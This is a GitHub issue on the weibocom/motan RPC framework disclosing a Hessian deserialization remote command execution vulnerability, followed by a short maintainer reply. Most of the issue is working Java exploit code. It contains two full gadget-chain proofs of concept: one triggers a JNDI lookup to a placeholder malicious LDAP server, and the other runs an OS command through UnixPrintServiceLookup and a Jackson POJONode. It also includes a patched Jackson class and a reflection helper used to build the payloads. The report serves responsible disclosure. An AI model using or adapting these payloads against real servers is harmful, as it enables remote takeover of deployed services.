weibocom / motan

A cross-language remote procedure call(RPC) framework for rapid development of high performance distributed services.
Other
5.88k stars 1.78k forks source link

RCE Vulnerability #1034

Closed gfast777-sec closed 1 year ago

gfast777-sec commented 1 year ago

Problem Description

Motan utilizes the native Hessian protocol as part of its RPC communication. After conducting an in-depth analysis of Motan, we have identified a security issue, wherein attackers can potentially achieve Remote Command Execution (RCE) attacks by crafting carefully constructed payloads.

Reproduce

The Server Side

We utilized the built-in "motan-demo" module from the project to set up the testing environment. The JDK version used is 8u112.

image

The Malicious LDAP Server

We used this tool to set up a malicious ldap server:

image

PoC

We would provide two PoCs to reproduce this vulnerability. All of the classes used in the PoC are JDK-native or introduced by the demo itself.

PoC-1

public static Object getEvil() throws Exception {
        ConcurrentHashMap concurrentHashMap = new ConcurrentHashMap();
        concurrentHashMap.put("aaa", "an,");

        UIDefaults uiDefaults = new UIDefaults();
        uiDefaults.put("aaa", new SwingLazyValue("javax.naming.InitialContext", "doLookup", new Object[]{"malicious ldap server address"}));

        HashMap map1 = new HashMap();
        HashMap map2 = new HashMap();
        map1.put("yy",uiDefaults);
        map1.put("zZ",concurrentHashMap);
        map2.put("yy",concurrentHashMap);
        map2.put("zZ",uiDefaults);

        HashMap s = new HashMap();
        Reflections.setFieldValue(s, "size", 2);
        Class nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        }
        catch ( ClassNotFoundException e ) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        Reflections.setAccessible(nodeCons);

        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, map1, map1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, map2, map2, null));
        Reflections.setFieldValue(s, "table", tbl);

        return s;
    }

PoC-2

public static Object getEvil() throws NoSuchFieldException, IllegalAccessException, InstantiationException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException {
        String cmd = "/System/Applications/Calculator.app/Contents/MacOS/Calculator";
        Field theUnsafe = Unsafe.class.getDeclaredField("theUnsafe");
        theUnsafe.setAccessible(true);
        Unsafe unsafe = (Unsafe) theUnsafe.get(null);
        Object unixPrintServiceLookup = unsafe.allocateInstance(UnixPrintServiceLookup.class);
        Reflections.setFieldValue(unixPrintServiceLookup, "cmdIndex", 0);
        Reflections.setFieldValue(unixPrintServiceLookup, "osname", "xx");
        Reflections.setFieldValue(unixPrintServiceLookup, "lpcFirstCom", new String[]{cmd, cmd, cmd});
        Object pojoNode = new POJONode(unixPrintServiceLookup);
        Object type = Reflections.createWithObjectNoArgsConstructor(Class.forName("javax.sound.sampled.AudioFileFormat$Type"));

        HashMap map1 = new HashMap();
        HashMap map2 = new HashMap();
        map1.put("yy",pojoNode);
        map1.put("zZ",type);
        map2.put("yy",type);
        map2.put("zZ",pojoNode);

        HashMap s = new HashMap();
        Reflections.setFieldValue(s, "size", 2);
        Class nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        }
        catch ( ClassNotFoundException e ) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        Reflections.setAccessible(nodeCons);

        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, map1, map1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, map2, map2, null));
        Reflections.setFieldValue(s, "table", tbl);

        return s;

    }

The PoC only works in *unix-like platform. Besides, the Jaskson's BaseJsonNode should be re-write before running the PoC:

image
package com.fasterxml.jackson.databind.node;

import com.fasterxml.jackson.core.*;
import com.fasterxml.jackson.databind.JsonNode;
import com.fasterxml.jackson.databind.SerializerProvider;
import com.fasterxml.jackson.databind.jsontype.TypeSerializer;

import java.io.IOException;
import java.io.Serializable;

public abstract class BaseJsonNode extends JsonNode implements Serializable {

    private static final long serialVersionUID = 1L;

//    Object writeReplace() {
//        return NodeSerialization.from(this);
//    }

    protected BaseJsonNode() {
    }

    public final JsonNode findPath(String fieldName) {
        JsonNode value = this.findValue(fieldName);
        return (JsonNode)(value == null ? MissingNode.getInstance() : value);
    }

    public abstract int hashCode();

    public JsonNode required(String fieldName) {
        return (JsonNode)this._reportRequiredViolation("Node of type `%s` has no fields", new Object[]{this.getClass().getSimpleName()});
    }

    public JsonNode required(int index) {
        return (JsonNode)this._reportRequiredViolation("Node of type `%s` has no indexed values", new Object[]{this.getClass().getSimpleName()});
    }

    public JsonParser traverse() {
        return new TreeTraversingParser(this);
    }

    public JsonParser traverse(ObjectCodec codec) {
        return new TreeTraversingParser(this, codec);
    }

    public abstract JsonToken asToken();

    public JsonParser.NumberType numberType() {
        return null;
    }

    public abstract void serialize(JsonGenerator var1, SerializerProvider var2) throws IOException, JsonProcessingException;

    public abstract void serializeWithType(JsonGenerator var1, SerializerProvider var2, TypeSerializer var3) throws IOException, JsonProcessingException;

    public String toString() {
        return InternalNodeMapper.nodeToString(this);
    }

    public String toPrettyString() {
        return InternalNodeMapper.nodeToPrettyString(this);
    }

}

The Reflections class:

package payload.util;

import com.nqzero.permit.Permit;
import sun.reflect.ReflectionFactory;

import java.lang.reflect.AccessibleObject;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;

public class Reflections {

    public static void setAccessible(AccessibleObject member) {
        String versionStr = System.getProperty("java.version");
        int javaVersion = Integer.parseInt(versionStr.split("\\.")[0]);
        if (javaVersion < 12) {
            // quiet runtime warnings from JDK9+
            Permit.setAccessible(member);
        } else {
            // not possible to quiet runtime warnings anymore...
            // see https://bugs.openjdk.java.net/browse/JDK-8210522
            // to understand impact on Permit (i.e. it does not work
            // anymore with Java >= 12)
            member.setAccessible(true);
        }
    }

    public static void setFieldValue(Object obj, String field, Object value){
        try{
            Class clazz = obj.getClass();
            Field fld = getField(clazz,field);
            fld.setAccessible(true);
            fld.set(obj, value);
        }catch (Exception e){
            e.printStackTrace();
        }
    }

    public static Field getField (final Class<?> clazz, final String fieldName ) throws Exception {
        try {
            Field field = clazz.getDeclaredField(fieldName);
            if ( field != null )
                field.setAccessible(true);
            else if ( clazz.getSuperclass() != null )
                field = getField(clazz.getSuperclass(), fieldName);

            return field;
        }
        catch ( NoSuchFieldException e ) {
            if ( !clazz.getSuperclass().equals(Object.class) ) {
                return getField(clazz.getSuperclass(), fieldName);
            }
            throw e;
        }
    }

    public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        return field.get(obj);
    }

    public static Constructor<?> getFirstCtor(final String name) throws Exception {
        final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];
        setAccessible(ctor);
        return ctor;
    }
    public static Constructor<?> getFirstCtor(Class clazz) throws Exception {
        final Constructor<?> ctor = clazz.getDeclaredConstructors()[0];
        setAccessible(ctor);
        return ctor;
    }

    public static Object newInstance(String className, Object ... args) throws Exception {
        return getFirstCtor(className).newInstance(args);
    }

    public static <T> T createWithoutConstructor ( Class<T> classToInstantiate )
            throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
        return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
    }

    @SuppressWarnings ( {"unchecked"} )
    public static <T> T createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs )
            throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
        Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
        setAccessible(objCons);
        Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
        setAccessible(sc);
        return (T)sc.newInstance(consArgs);
    }

    public static <T> T createWithNoArgsConstructor(Class<T> clzToInstantiate) {

        T resObj = null;
        try{
            Constructor<?> constructor = clzToInstantiate.getDeclaredConstructor();
            constructor.setAccessible(true);
            resObj = (T)constructor.newInstance();
        } catch (NoSuchMethodException e) {
            try {
                resObj = createWithConstructor(clzToInstantiate, clzToInstantiate.getSuperclass(),
                        new Class[0], new Object[0]);
            } catch (NoSuchMethodException | InstantiationException | IllegalAccessException | InvocationTargetException eInner) {
                resObj = createWithObjectNoArgsConstructor(clzToInstantiate);
            }
        } catch (InvocationTargetException | InstantiationException | IllegalAccessException e) {
            e.printStackTrace();
        }

        return resObj;
    }

    public static <T> T createWithObjectNoArgsConstructor(Class<T> clzToInstantiate) {

        T resObject = null;
        try{
            resObject = createWithConstructor(clzToInstantiate, Object.class, new Class[0], new Object[0]);
        } catch (NoSuchMethodException | InstantiationException | IllegalAccessException | InvocationTargetException e) {
        }

        return resObject;

    }
}

Send the payload

We use the built-in "motan-demo-client" to send the PoC

image

Result

PoC1:

image

PoC2:

image
rayzhang0603 commented 1 year ago

Thanks for the feedback, we will evaluate whether to replace the native hessian with a third-party hessian library such as SOFA-Hessian.